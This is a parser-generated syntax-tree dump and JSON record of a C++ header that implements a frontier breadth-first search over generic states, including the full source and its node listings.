(field_expression) "currentClosedList.find" (identifier) "currentClosedList" (.) "." (field_identifier) "find" (argument_list) "(env->GetStateHash(neighbors[x]))" (() "(" (call_expression) "env->GetStateHash(neighbors[x])" (field_expression) "env->GetStateHash" (identifier) "env" (->) "->" (field_identifier) "GetStateHash" (argument_list) "(neighbors[x])" (() "(" (subscript_expression) "neighbors[x]" (identifier) "neighbors" ([) "[" (identifier) "x" (]) "]" ()) ")" ()) ")" (!=) "!=" (call_expression) "currentClosedList.end()" (field_expression) "currentClosedList.end" (identifier) "currentClosedList" (.) "." (field_identifier) "end" (argument_list) "()" (() "(" ()) ")" ()) ")" (continue_statement) "continue;" (continue) "continue" (;) ";" (if_statement) "if (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())\n continue;" (if) "if" (parenthesized_expression) "(lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())" (() "(" (binary_expression) "lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end()" (call_expression) "lastClosedList.find(env->GetStateHash(neighbors[x]))" (field_expression) "lastClosedList.find" (identifier) "lastClosedList" (.) "." (field_identifier) "find" (argument_list) "(env->GetStateHash(neighbors[x]))" (() "(" (call_expression) "env->GetStateHash(neighbors[x])" (field_expression) "env->GetStateHash" (identifier) "env" (->) "->" (field_identifier) "GetStateHash" (argument_list) "(neighbors[x])" (() "(" (subscript_expression) "neighbors[x]" (identifier) "neighbors" ([) "[" (identifier) "x" (]) "]" ()) ")" ()) ")" (!=) "!=" (call_expression) "lastClosedList.end()" (field_expression) "lastClosedList.end" (identifier) "lastClosedList" (.) "." (field_identifier) "end" (argument_list) "()" (() "(" ()) ")" ()) ")" (continue_statement) "continue;" (continue) "continue" (;) ";" (expression_statement) "nextOpenList.push_back(neighbors[x]);" (call_expression) "nextOpenList.push_back(neighbors[x])" (field_expression) "nextOpenList.push_back" (identifier) "nextOpenList" (.) "." (field_identifier) "push_back" (argument_list) "(neighbors[x])" (() "(" (subscript_expression) "neighbors[x]" (identifier) "neighbors" ([) "[" (identifier) "x" (]) "]" ()) ")" (;) ";" (}) "}" (}) "}" (}) "}" (expression_statement) "template <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<action> &thePath)\n{\n assert(!"not defined");" (comma_expression) "template <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<action> &thePath)\n{\n assert(!"not defined")" (binary_expression) "template <class" (identifier) "template" (<) "<" (identifier) "class" (ERROR) "state" (identifier) "state" (,) "," (ERROR) "class" (identifier) "class" (comma_expression) "action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<action> &thePath)\n{\n assert(!"not defined")" (binary_expression) "action>\nvoid FrontierBFS<state" (binary_expression) "action>\nvoid FrontierBFS" (identifier) "action" (>) ">" (ERROR) "void" (identifier) "void" (identifier) "FrontierBFS" (<) "<" (identifier) "state" (,) "," (binary_expression) "action>::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<action> &thePath)\n{\n assert(!"not defined")" (identifier) "action" (>) ">" (ERROR) "::GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<action> &thePath)\n{" (:) ":" (:) ":" (call_expression) "GetPath(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<action> &thePath)" (identifier) "GetPath" (argument_list) "(SearchEnvironment<state, action> *env,\n state &from, state &to,\n std::vector<action> &thePath)" (() "(" (binary_expression) "SearchEnvironment<state" (identifier) "SearchEnvironment" (<) "<" (identifier) "state" (,) "," (binary_expression) "action> *env" (identifier) "action" (>) ">" (pointer_expression) "*env" (*) "*" (identifier) "env" (,) "," (binary_expression) "state &from" (identifier) "state" (&) "&" (identifier) "from" (,) "," (binary_expression) "state &to" (identifier) "state" (&) "&" (identifier) "to" (,) "," (ERROR) "std::" (identifier) "std" (:) ":" (:) ":" (binary_expression) "vector<action> &thePath" (binary_expression) "vector<action" (identifier) "vector" (<) "<" (identifier) "action" (>) ">" (pointer_expression) "&thePath" (&) "&" (identifier) "thePath" ()) ")" ({) "{" (call_expression) "assert(!"not defined")" (identifier) "assert" (argument_list) "(!"not defined")" (() "(" (unary_expression) "!"not defined"" (!) "!" (string_literal) ""not defined"" (") """ (string_content) "not defined" (") """ ()) ")" (;) ";" (ERROR) "}" (}) "}" (#endif) "#endif"
1,869
70
{"language": "c", "success": true, "metadata": {"lines": 195, "avg_line_length": 27.39, "nodes": 1142, "errors": 0, "source_hash": "63169987a2576efa4442c99a9748e84f28fdc38434d24c00ce6a17ed50d09176", "categorized_nodes": 810}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef FRONTIERBFS_H\n#define FRONTIERBFS_H\n\n#include <iostream>\n#include \"SearchEnvironment.h\"\n#include <ext/hash_map>\n#include \"FPUtil.h\"\n\ntypedef __gnu_cxx::hash_map<uint64_t, bool, Hash64> FrontierBFSClosedList;\n\ntemplate <class state, class action>\nclass FrontierBFS {\npublic:\n\tFrontierBFS() { }\n\tvirtual ~FrontierBFS() {}\n\tvoid GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n\t\t\t\t std::vector<state> &thePath);\n\tvoid GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n\t\t\t\t std::vector<action> &thePath);\n\t\n\tvoid InitializeSearch(SearchEnvironment<state, action> *env, state &from);\n\tvoid InitializeSearch(SearchEnvironment<state, action> *env, std::vector<state> &from);\n\tbool DoOneIteration(SearchEnvironment<state, action> *env);\n\t\n\tconst FrontierBFSClosedList &GetCurrentClosedList()\n\t{\n\t\tif (mOpen1.size() > 0) return mClosed2;\n\t\tif (mOpen2.size() > 0) return mClosed1;\n\t\t//assert(!\"Open and closed are both null\");\n\t\treturn mClosed1;\n\t}\n\tuint64_t GetNodesExpanded() { return nodesExpanded; }\n\tuint64_t GetNodesTouched() { return nodesTouched; }\nprivate:\n\n\tvoid ExpandLevel(SearchEnvironment<state, action> *env,\n\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t FrontierBFSClosedList &currentClosedList,\n\t\t\t\t\t std::deque<state> &nextOpenList,\n\t\t\t\t\t FrontierBFSClosedList &lastClosedList);\n\t\n\t\n\tuint64_t nodesExpanded, nodesTouched;\n\tint depth;\n\t\n\tstd::deque<state> mOpen1;\n\tstd::deque<state> mOpen2;\n\tFrontierBFSClosedList mClosed1; // store parent id!\n\tFrontierBFSClosedList mClosed2; // store parent id!\n};\n\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t state &from)\n{\n\tnodesExpanded = nodesTouched = 0;\n\t\n\tmOpen1.clear();\n\tmOpen2.clear();\n\tmClosed1.clear();\n\tmClosed2.clear();\n\t\n\tmOpen1.push_back(from);\t\n\tdepth = 0;\n}\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t std::vector<state> &from)\n{\n\tnodesExpanded = nodesTouched = 0;\n\t\n\tmOpen1.clear();\n\tmOpen2.clear();\n\tmClosed1.clear();\n\tmClosed2.clear();\n\t\n\tfor (unsigned int x = 0; x < from.size(); x++)\n\t\tmOpen1.push_back(from[x]);\n\tdepth = 0;\n}\n\ntemplate <class state, class action>\nbool FrontierBFS<state, action>::DoOneIteration(SearchEnvironment<state, action> *env)\n{\n\tuint64_t n = nodesExpanded;\n\tif ((mOpen1.size() != 0) || (mOpen2.size() != 0))\n\t{\n\t\tn = nodesExpanded;\n\t\tif (mOpen1.size() == 0)\n\t\t{\n\t\t\tstd::cout << mOpen2.front() << std::endl << mOpen2.back() << std::endl;\n\t\t\tExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n\t\t\tmClosed1.clear();\n\t\t}\n\t\telse {\n\t\t\tstd::cout << mOpen1.front() << std::endl << mOpen1.back() << std::endl;\n\t\t\tExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n\t\t\tmClosed2.clear();\n\t\t}\n\t\tdepth++;\t\t\n\t}\n\telse {\n\t\treturn true;\n\t}\n\tprintf(\"Depth %d complete; nodes expanded %lld (%lld new); %d in memory\\n\", depth, nodesExpanded, nodesExpanded - n,\n\t\t mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size());\n\tif ((mOpen1.size() == 0) && (mOpen2.size() == 0))\n\t\treturn true;\n\treturn false;\n}\n\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<state> &thePath)\n{\n\tnodesExpanded = nodesTouched = 0;\n\t\n\tmOpen1.clear();\n\tmOpen2.clear();\n\tmClosed1.clear();\n\tmClosed2.clear();\n\t\n\tmOpen1.push_back(from);\n\t\n\tdepth = 0;\n\tuint64_t n = nodesExpanded;\n\twhile ((mOpen1.size() != 0) || (mOpen2.size() != 0))\n\t{\n\t\tprintf(\"Depth %d; nodes expanded %lld (%lld new); %d in memory\\n\", depth, nodesExpanded, nodesExpanded - n,\n\t\t\t mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size());\n\t\tn = nodesExpanded;\n\t\tif (mOpen1.size() == 0)\n\t\t{\n\t\t\tExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n\t\t\tmClosed1.clear();\n\t\t}\n\t\telse {\n\t\t\tExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n\t\t\tmClosed2.clear();\n\t\t}\n\t\tdepth++;\t\t\n\t}\n}\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::ExpandLevel(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &currentOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &currentClosedList,\n\t\t\t\t\t\t\t\t\t\t\t std::deque<state> &nextOpenList,\n\t\t\t\t\t\t\t\t\t\t\t FrontierBFSClosedList &lastClosedList)\n{\n\tstatic std::vector<state> neighbors;\n\tneighbors.resize(0);\n\twhile (currentOpenList.size() > 0)\n\t{\n\t\tstate s = currentOpenList.front();\n\t\tcurrentOpenList.pop_front();\n\t\t\n\t\tif (currentClosedList.find(env->GetStateHash(s)) != currentClosedList.end())\n\t\t{\n//\t\t\tprintf(\"Needed to check against current\\n\");\n\t\t\tcontinue;\n\t\t}\n//\t\tif (lastClosedList.find(env->GetStateHash(s)) != lastClosedList.end())\n//\t\t{\n//\t\t\tprintf(\"Needed to check against last\\n\");\n//\t\t\tcontinue;\n//\t\t}\n\t\t\n\t\tcurrentClosedList[env->GetStateHash(s)] = true;\n\t\t\n\t\tnodesExpanded++;\n\t\tenv->GetSuccessors(s, neighbors);\n\t\tfor (unsigned int x = 0; x < neighbors.size(); x++)\n\t\t{\n\t\t\tif (currentClosedList.find(env->GetStateHash(neighbors[x])) != currentClosedList.end())\n\t\t\t\tcontinue;\n\t\t\tif (lastClosedList.find(env->GetStateHash(neighbors[x])) != lastClosedList.end())\n\t\t\t\tcontinue;\n\n\t\t\tnextOpenList.push_back(neighbors[x]);\n\t\t}\n\t}\n}\n\ntemplate <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<action> &thePath)\n{\n\tassert(!\"not defined\");\n}\n\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 15, 18, 30, 428, 458, 491, 497, 655, 679, 765, 771, 1141], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 207, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 9, "column": 7}}, {"id": 2, "type": "identifier", "text": "FRONTIERBFS_H", "parent": 0, "children": [], "start_point": {"row": 9, "column": 8}, "end_point": {"row": 9, "column": 21}}, {"id": 3, "type": "preproc_def", "text": "#define FRONTIERBFS_H\n", "parent": 0, "children": [4, 5], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 11, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 10, "column": 0}, "end_point": {"row": 10, "column": 7}}, {"id": 5, "type": "identifier", "text": "FRONTIERBFS_H", "parent": 3, "children": [], "start_point": {"row": 10, "column": 8}, "end_point": {"row": 10, "column": 21}}, {"id": 6, "type": "preproc_include", "text": "#include <iostream>\n", "parent": 0, "children": [7, 8], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 13, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 12, "column": 0}, "end_point": {"row": 12, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<iostream>", "parent": 6, "children": [], "start_point": {"row": 12, "column": 9}, "end_point": {"row": 12, "column": 19}}, {"id": 9, "type": "preproc_include", "text": "#include \"SearchEnvironment.h\"\n", "parent": 0, "children": [10, 11], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 8}}, {"id": 11, "type": "string_literal", "text": "\"SearchEnvironment.h\"", "parent": 9, "children": [], "start_point": {"row": 13, "column": 9}, "end_point": {"row": 13, "column": 30}}, {"id": 12, "type": "preproc_include", "text": "#include <ext/hash_map>\n", "parent": 0, "children": [13, 14], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 15, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 8}}, {"id": 14, "type": "system_lib_string", "text": "<ext/hash_map>", "parent": 12, "children": [], "start_point": {"row": 14, "column": 9}, "end_point": {"row": 14, "column": 23}}, {"id": 15, "type": "preproc_include", "text": "#include \"FPUtil.h\"\n", "parent": 0, "children": [16, 17], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 16, "column": 0}}, {"id": 16, "type": "#include", "text": "#include", "parent": 15, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 8}}, {"id": 17, "type": "string_literal", "text": "\"FPUtil.h\"", "parent": 15, "children": [], "start_point": {"row": 15, "column": 9}, "end_point": {"row": 15, "column": 19}}, {"id": 18, "type": "type_definition", "text": "typedef __gnu_cxx::hash_map<uint64_t, bool, Hash64> FrontierBFSClosedList;", "parent": 0, "children": [19, 20, 21, 24, 25, 26, 29], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 74}}, {"id": 19, "type": "typedef", "text": "typedef", "parent": 18, "children": [], "start_point": {"row": 17, "column": 0}, "end_point": {"row": 17, "column": 7}}, {"id": 20, "type": "type_identifier", "text": "__gnu_cxx", "parent": 18, "children": [], "start_point": {"row": 17, "column": 8}, "end_point": {"row": 17, "column": 17}}, {"id": 21, "type": "ERROR", "text": "::hash_map<", "parent": 18, "children": [22, 23], "start_point": {"row": 17, "column": 17}, "end_point": {"row": 17, "column": 28}}, {"id": 22, "type": "type_identifier", "text": "hash_map", "parent": 21, "children": [], "start_point": {"row": 17, "column": 19}, "end_point": {"row": 17, "column": 27}}, {"id": 23, "type": "<", "text": "<", "parent": 21, "children": [], "start_point": {"row": 17, "column": 27}, "end_point": {"row": 17, "column": 28}}, {"id": 24, "type": "primitive_type", "text": "uint64_t", "parent": 18, "children": [], "start_point": {"row": 17, "column": 28}, "end_point": {"row": 17, "column": 36}}, {"id": 25, "type": "primitive_type", "text": "bool", "parent": 18, "children": [], "start_point": {"row": 17, "column": 38}, "end_point": {"row": 17, "column": 42}}, {"id": 26, "type": "ERROR", "text": "Hash64>", "parent": 18, "children": [27, 28], "start_point": {"row": 17, "column": 44}, "end_point": {"row": 17, "column": 51}}, {"id": 27, "type": "type_identifier", "text": "Hash64", "parent": 26, "children": [], "start_point": {"row": 17, "column": 44}, "end_point": {"row": 17, "column": 50}}, {"id": 28, "type": ">", "text": ">", "parent": 26, "children": [], "start_point": {"row": 17, "column": 50}, "end_point": {"row": 17, "column": 51}}, {"id": 29, "type": "type_identifier", "text": "FrontierBFSClosedList", "parent": 18, "children": [], "start_point": {"row": 17, "column": 52}, "end_point": {"row": 17, "column": 73}}, {"id": 30, "type": "ERROR", "text": "template <class state, class action>\nclass FrontierBFS", "parent": 0, "children": [31, 40], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 20, "column": 17}}, {"id": 31, "type": "comma_expression", "text": "template <class state, class action>\nclass", "parent": 30, "children": [32, 35, 37], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 20, "column": 5}}, {"id": 32, "type": "binary_expression", "text": "template <class", "parent": 31, "children": [33, 34], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 15}}, {"id": 33, "type": "identifier", "text": "template", "parent": 32, "children": [], "start_point": {"row": 19, "column": 0}, "end_point": {"row": 19, "column": 8}}, {"id": 34, "type": "<", "text": "<", "parent": 32, "children": [], "start_point": {"row": 19, "column": 9}, "end_point": {"row": 19, "column": 10}}, {"id": 35, "type": "ERROR", "text": "state", "parent": 31, "children": [36], "start_point": {"row": 19, "column": 16}, "end_point": {"row": 19, "column": 21}}, {"id": 36, "type": "identifier", "text": "state", "parent": 35, "children": [], "start_point": {"row": 19, "column": 16}, "end_point": {"row": 19, "column": 21}}, {"id": 37, "type": "binary_expression", "text": "action>\nclass", "parent": 31, "children": [38, 39], "start_point": {"row": 19, "column": 29}, "end_point": {"row": 20, "column": 5}}, {"id": 38, "type": "identifier", "text": "action", "parent": 37, "children": [], "start_point": {"row": 19, "column": 29}, "end_point": {"row": 19, "column": 35}}, {"id": 39, "type": ">", "text": ">", "parent": 37, "children": [], "start_point": {"row": 19, "column": 35}, "end_point": {"row": 19, "column": 36}}, {"id": 40, "type": "identifier", "text": "FrontierBFS", "parent": 30, "children": [], "start_point": {"row": 20, "column": 6}, "end_point": {"row": 20, "column": 17}}, {"id": 41, "type": "labeled_statement", "text": "public:\n\tFrontierBFS()", "parent": 0, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 22, "column": 14}}, {"id": 42, "type": "call_expression", "text": "FrontierBFS()", "parent": 41, "children": [43, 44], "start_point": {"row": 22, "column": 1}, "end_point": {"row": 22, "column": 14}}, {"id": 43, "type": "identifier", "text": "FrontierBFS", "parent": 42, "children": [], "start_point": {"row": 22, "column": 1}, "end_point": {"row": 22, "column": 12}}, {"id": 44, "type": "argument_list", "text": "()", "parent": 42, "children": [], "start_point": {"row": 22, "column": 12}, "end_point": {"row": 22, "column": 14}}, {"id": 45, "type": "function_definition", "text": "virtual ~FrontierBFS() {}", "parent": 0, "children": [46, 47, 49], "start_point": {"row": 23, "column": 1}, "end_point": {"row": 23, "column": 26}}, {"id": 46, "type": "type_identifier", "text": "virtual", "parent": 45, "children": [], "start_point": {"row": 23, "column": 1}, "end_point": {"row": 23, "column": 8}}, {"id": 47, "type": "ERROR", "text": "~", "parent": 45, "children": [48], "start_point": {"row": 23, "column": 9}, "end_point": {"row": 23, "column": 10}}, {"id": 48, "type": "~", "text": "~", "parent": 47, "children": [], "start_point": {"row": 23, "column": 9}, "end_point": {"row": 23, "column": 10}}, {"id": 49, "type": "function_declarator", "text": "FrontierBFS()", "parent": 45, "children": [50, 51], "start_point": {"row": 23, "column": 10}, "end_point": {"row": 23, "column": 23}}, {"id": 50, "type": "identifier", "text": "FrontierBFS", "parent": 49, "children": [], "start_point": {"row": 23, "column": 10}, "end_point": {"row": 23, "column": 21}}, {"id": 51, "type": "parameter_list", "text": "()", "parent": 49, "children": [], "start_point": {"row": 23, "column": 21}, "end_point": {"row": 23, "column": 23}}, {"id": 52, "type": "declaration", "text": "void GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n\t\t\t\t std::vector<state> &thePath);", "parent": 0, "children": [53, 54], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 25, "column": 34}}, {"id": 53, "type": "primitive_type", "text": "void", "parent": 52, "children": [], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 24, "column": 5}}, {"id": 54, "type": "function_declarator", "text": "GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n\t\t\t\t std::vector<state> &thePath)", "parent": 52, "children": [55, 56], "start_point": {"row": 24, "column": 6}, "end_point": {"row": 25, "column": 33}}, {"id": 55, "type": "identifier", "text": "GetPath", "parent": 54, "children": [], "start_point": {"row": 24, "column": 6}, "end_point": {"row": 24, "column": 13}}, {"id": 56, "type": "parameter_list", "text": "(SearchEnvironment<state, action> *env, state &from, state &to,\n\t\t\t\t std::vector<state> &thePath)", "parent": 54, "children": [57, 62, 69, 71, 74], "start_point": {"row": 24, "column": 13}, "end_point": {"row": 25, "column": 33}}, {"id": 57, "type": "parameter_declaration", "text": "SearchEnvironment<state", "parent": 56, "children": [58, 59, 61], "start_point": {"row": 24, "column": 14}, "end_point": {"row": 24, "column": 37}}, {"id": 58, "type": "type_identifier", "text": "SearchEnvironment", "parent": 57, "children": [], "start_point": {"row": 24, "column": 14}, "end_point": {"row": 24, "column": 31}}, {"id": 59, "type": "ERROR", "text": "<", "parent": 57, "children": [60], "start_point": {"row": 24, "column": 31}, "end_point": {"row": 24, "column": 32}}, {"id": 60, "type": "<", "text": "<", "parent": 59, "children": [], "start_point": {"row": 24, "column": 31}, "end_point": {"row": 24, "column": 32}}, {"id": 61, "type": "identifier", "text": "state", "parent": 57, "children": [], "start_point": {"row": 24, "column": 32}, "end_point": {"row": 24, "column": 37}}, {"id": 62, "type": "parameter_declaration", "text": "action> *env", "parent": 56, "children": [63, 64, 66], "start_point": {"row": 24, "column": 39}, "end_point": {"row": 24, "column": 51}}, {"id": 63, "type": "type_identifier", "text": "action", "parent": 62, "children": [], "start_point": {"row": 24, "column": 39}, "end_point": {"row": 24, "column": 45}}, {"id": 64, "type": "ERROR", "text": ">", "parent": 62, "children": [65], "start_point": {"row": 24, "column": 45}, "end_point": {"row": 24, "column": 46}}, {"id": 65, "type": ">", "text": ">", "parent": 64, "children": [], "start_point": {"row": 24, "column": 45}, "end_point": {"row": 24, "column": 46}}, {"id": 66, "type": "pointer_declarator", "text": "*env", "parent": 62, "children": [67, 68], "start_point": {"row": 24, "column": 47}, "end_point": {"row": 24, "column": 51}}, {"id": 67, "type": "*", "text": "*", "parent": 66, "children": [], "start_point": {"row": 24, "column": 47}, "end_point": {"row": 24, "column": 48}}, {"id": 68, "type": "identifier", "text": "env", "parent": 66, "children": [], "start_point": {"row": 24, "column": 48}, "end_point": {"row": 24, "column": 51}}, {"id": 69, "type": "parameter_declaration", "text": "state &from", "parent": 56, "children": [70], "start_point": {"row": 24, "column": 53}, "end_point": {"row": 24, "column": 64}}, {"id": 70, "type": "type_identifier", "text": "state", "parent": 69, "children": [], "start_point": {"row": 24, "column": 53}, "end_point": {"row": 24, "column": 58}}, {"id": 71, "type": "parameter_declaration", "text": "state &to", "parent": 56, "children": [72, 73], "start_point": {"row": 24, "column": 66}, "end_point": {"row": 24, "column": 75}}, {"id": 72, "type": "type_identifier", "text": "state", "parent": 71, "children": [], "start_point": {"row": 24, "column": 66}, "end_point": {"row": 24, "column": 71}}, {"id": 73, "type": "identifier", "text": "to", "parent": 71, "children": [], "start_point": {"row": 24, "column": 73}, "end_point": {"row": 24, "column": 75}}, {"id": 74, "type": "parameter_declaration", "text": "std::vector<state> &thePath", "parent": 56, "children": [75, 76, 81], "start_point": {"row": 25, "column": 5}, "end_point": {"row": 25, "column": 32}}, {"id": 75, "type": "type_identifier", "text": "std", "parent": 74, "children": [], "start_point": {"row": 25, "column": 5}, "end_point": {"row": 25, "column": 8}}, {"id": 76, "type": "ERROR", "text": "::vector<state> &", "parent": 74, "children": [77, 78, 79, 80], "start_point": {"row": 25, "column": 8}, "end_point": {"row": 25, "column": 25}}, {"id": 77, "type": "identifier", "text": "vector", "parent": 76, "children": [], "start_point": {"row": 25, "column": 10}, "end_point": {"row": 25, "column": 16}}, {"id": 78, "type": "<", "text": "<", "parent": 76, "children": [], "start_point": {"row": 25, "column": 16}, "end_point": {"row": 25, "column": 17}}, {"id": 79, "type": "identifier", "text": "state", "parent": 76, "children": [], "start_point": {"row": 25, "column": 17}, "end_point": {"row": 25, "column": 22}}, {"id": 80, "type": ">", "text": ">", "parent": 76, "children": [], "start_point": {"row": 25, "column": 22}, "end_point": {"row": 25, "column": 23}}, {"id": 81, "type": "identifier", "text": "thePath", "parent": 74, "children": [], "start_point": {"row": 25, "column": 25}, "end_point": {"row": 25, "column": 32}}, {"id": 82, "type": "declaration", "text": "void GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n\t\t\t\t std::vector<action> &thePath);", "parent": 0, "children": [83, 84], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 27, "column": 35}}, {"id": 83, "type": "primitive_type", "text": "void", "parent": 82, "children": [], "start_point": {"row": 26, "column": 1}, "end_point": {"row": 26, "column": 5}}, {"id": 84, "type": "function_declarator", "text": "GetPath(SearchEnvironment<state, action> *env, state &from, state &to,\n\t\t\t\t std::vector<action> &thePath)", "parent": 82, "children": [85, 86], "start_point": {"row": 26, "column": 6}, "end_point": {"row": 27, "column": 34}}, {"id": 85, "type": "identifier", "text": "GetPath", "parent": 84, "children": [], "start_point": {"row": 26, "column": 6}, "end_point": {"row": 26, "column": 13}}, {"id": 86, "type": "parameter_list", "text": "(SearchEnvironment<state, action> *env, state &from, state &to,\n\t\t\t\t std::vector<action> &thePath)", "parent": 84, "children": [87, 92, 99, 101, 104], "start_point": {"row": 26, "column": 13}, "end_point": {"row": 27, "column": 34}}, {"id": 87, "type": "parameter_declaration", "text": "SearchEnvironment<state", "parent": 86, "children": [88, 89, 91], "start_point": {"row": 26, "column": 14}, "end_point": {"row": 26, "column": 37}}, {"id": 88, "type": "type_identifier", "text": "SearchEnvironment", "parent": 87, "children": [], "start_point": {"row": 26, "column": 14}, "end_point": {"row": 26, "column": 31}}, {"id": 89, "type": "ERROR", "text": "<", "parent": 87, "children": [90], "start_point": {"row": 26, "column": 31}, "end_point": {"row": 26, "column": 32}}, {"id": 90, "type": "<", "text": "<", "parent": 89, "children": [], "start_point": {"row": 26, "column": 31}, "end_point": {"row": 26, "column": 32}}, {"id": 91, "type": "identifier", "text": "state", "parent": 87, "children": [], "start_point": {"row": 26, "column": 32}, "end_point": {"row": 26, "column": 37}}, {"id": 92, "type": "parameter_declaration", "text": "action> *env", "parent": 86, "children": [93, 94, 96], "start_point": {"row": 26, "column": 39}, "end_point": {"row": 26, "column": 51}}, {"id": 93, "type": "type_identifier", "text": "action", "parent": 92, "children": [], "start_point": {"row": 26, "column": 39}, "end_point": {"row": 26, "column": 45}}, {"id": 94, "type": "ERROR", "text": ">", "parent": 92, "children": [95], "start_point": {"row": 26, "column": 45}, "end_point": {"row": 26, "column": 46}}, {"id": 95, "type": ">", "text": ">", "parent": 94, "children": [], "start_point": {"row": 26, "column": 45}, "end_point": {"row": 26, "column": 46}}, {"id": 96, "type": "pointer_declarator", "text": "*env", "parent": 92, "children": [97, 98], "start_point": {"row": 26, "column": 47}, "end_point": {"row": 26, "column": 51}}, {"id": 97, "type": "*", "text": "*", "parent": 96, "children": [], "start_point": {"row": 26, "column": 47}, "end_point": {"row": 26, "column": 48}}, {"id": 98, "type": "identifier", "text": "env", "parent": 96, "children": [], "start_point": {"row": 26, "column": 48}, "end_point": {"row": 26, "column": 51}}, {"id": 99, "type": "parameter_declaration", "text": "state &from", "parent": 86, "children": [100], "start_point": {"row": 26, "column": 53}, "end_point": {"row": 26, "column": 64}}, {"id": 100, "type": "type_identifier", "text": "state", "parent": 99, "children": [], "start_point": {"row": 26, "column": 53}, "end_point": {"row": 26, "column": 58}}, {"id": 101, "type": "parameter_declaration", "text": "state &to", "parent": 86, "children": [102, 103], "start_point": {"row": 26, "column": 66}, "end_point": {"row": 26, "column": 75}}, {"id": 102, "type": "type_identifier", "text": "state", "parent": 101, "children": [], "start_point": {"row": 26, "column": 66}, "end_point": {"row": 26, "column": 71}}, {"id": 103, "type": "identifier", "text": "to", "parent": 101, "children": [], "start_point": {"row": 26, "column": 73}, "end_point": {"row": 26, "column": 75}}, {"id": 104, "type": "parameter_declaration", "text": "std::vector<action> &thePath", "parent": 86, "children": [105, 106, 111], "start_point": {"row": 27, "column": 5}, "end_point": {"row": 27, "column": 33}}, {"id": 105, "type": "type_identifier", "text": "std", "parent": 104, "children": [], "start_point": {"row": 27, "column": 5}, "end_point": {"row": 27, "column": 8}}, {"id": 106, "type": "ERROR", "text": "::vector<action> &", "parent": 104, "children": [107, 108, 109, 110], "start_point": {"row": 27, "column": 8}, "end_point": {"row": 27, "column": 26}}, {"id": 107, "type": "identifier", "text": "vector", "parent": 106, "children": [], "start_point": {"row": 27, "column": 10}, "end_point": {"row": 27, "column": 16}}, {"id": 108, "type": "<", "text": "<", "parent": 106, "children": [], "start_point": {"row": 27, "column": 16}, "end_point": {"row": 27, "column": 17}}, {"id": 109, "type": "identifier", "text": "action", "parent": 106, "children": [], "start_point": {"row": 27, "column": 17}, "end_point": {"row": 27, "column": 23}}, {"id": 110, "type": ">", "text": ">", "parent": 106, "children": [], "start_point": {"row": 27, "column": 23}, "end_point": {"row": 27, "column": 24}}, {"id": 111, "type": "identifier", "text": "thePath", "parent": 104, "children": [], 